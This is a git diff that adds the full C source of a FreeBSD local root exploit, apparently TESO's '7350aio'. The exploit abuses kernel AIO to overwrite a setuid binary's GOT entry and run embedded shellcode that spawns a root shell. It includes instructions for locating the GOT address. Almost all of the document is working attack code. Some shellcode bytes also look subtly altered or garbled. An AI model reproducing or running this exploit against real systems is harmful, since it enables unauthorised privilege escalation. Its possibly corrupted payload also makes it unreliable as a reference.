initial

1 files changed, 117 insertions, 0 deletions

diff --git a/exploits/7350aio/7350aio.c b/exploits/7350aio/7350aio.c
new file mode 100644
index 0000000..2333511
--- /dev/null
+++ b/exploits/7350aio/7350aio.c
@@ -0,0 +1,117 @@
+/* 7350aio - FreeBSD Local AIO Exploit
+ *
+ * TESO CONFIDENTIAL - SOURCE MATERIALS
+ *
+ * This is unpublished proprietary source code of TESO Security.
+ *
+ * The contents of these coded instructions, statements and computer
+ * programs may not be disclosed to third parties, copied or duplicated in
+ * any form, in whole or in part, without the prior written permission of
+ * TESO Security. This includes especially the Bugtraq mailing list, the
+ * www.hack.co.za website and any public exploit archive.
+ *
+ * (C) COPYRIGHT TESO Security, 2001
+ * All Rights Reserved
+ *
+ ***************************************************************************
+ * bug found by z 13/07/01
+ *
+ * "options VFS_AIO" must be in your kernel config, which is not enabled
+ * by default. Hopefully some day it will be :)
+ *
+ * get the GOT address of exit by doing:
+ * $ objdump --dynamic-reloc bin | grep exit
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <unistd.h>
+#include <aio.h>
+
+char code[]=
+        "\x31\xc0\x50\x50\xb0\x17\xcd\x80"
+        "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68"
+        "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80"
+        "\x5c\x37\x87\xc9\xdf\x10\xbb\x23\xdb\x1a\xdd\x2f\x94\xef\x4d\xbb";
+
+unsigned long GOT = 0x0804fe20;
+char *execbin = "/usr/bin/passwd";
+
+int
+main (argc, argv)
+        int                     argc;
+        char                    **argv;
+{
+        int                     fds[2], sdf[2];
+        struct aiocb            cb, cb2;
+        char                    buf[128], d;
+
+        if ((d = getopt (argc, argv, "g:e:")) != -1) {
+                switch (d) {
+                case 'g':
+                        GOT = strtoul (optarg, NULL, 16);
+                        break;
+                case 'e':
+                        execbin = optarg;
+                        break;
+                }
+        }
+
+        printf ("got address: %08lx\n", GOT);
+        printf ("executable: %s\n", execbin);
+        /*
+         * pipes are treated differently to sockets, with sockets the
+         * aiod gets notifyed, whereas with pipes the aiod starts
+         * immediately blocking in fo_read. This is a problem because
+         * after the execve the aiod is still using the old vmspace struct
+         * if you use pipes, which means the data doesnt actually get copied
+         */
+        if (socketpair (AF_UNIX, SOCK_STREAM, 0, fds) < 0) {
+                perror ("socketpair");
+                return (EXIT_FAILURE);
+        }
+
+        if (socketpair (AF_UNIX, SOCK_STREAM, 0, sdf) < 0) {
+                perror ("socketpair");
+                return (EXIT_FAILURE);
+        }
+
+        if (fork() != 0) {
+                close (fds[0]);
+                close (sdf[0]);
+                memset (&cb, 0, sizeof(cb));
+                memset (&cb2, 0, sizeof(cb2));
+                cb.aio_fildes = fds[1];
+                cb.aio_offset = 0;
+                cb.aio_buf = (void *)GOT;
+                cb.aio_nbytes = 4;
+                cb.aio_sigevent.sigev_notify = SIGEV_NONE;
+
+                cb2.aio_fildes = sdf[1];
+                cb2.aio_offset = 0;
+                cb2.aio_buf = (void *)0xbfbfff80;
+                cb2.aio_nbytes = sizeof(code);
+                cb2.aio_sigevent.sigev_notify = SIGEV_NONE;
+                if (aio_read (&cb2) < 0) {
+                        perror ("aio_read");
+                        return (EXIT_FAILURE);
+                }
+                if (aio_read (&cb) < 0) {
+                        perror ("aio_read");
+                        return (EXIT_FAILURE);
+                }
+                execl (execbin, "test", NULL);
+        } else {
+                close(fds[1]);
+                close(sdf[1]);
+                sleep(2);
+                printf ("writing\n");
+                write (sdf[0], code, sizeof(code));
+                *(unsigned int *)buf = 0xbfbfff80;
+                write (fds[0], buf, 4);
+        }
+        return (EXIT_SUCCESS);
+}
+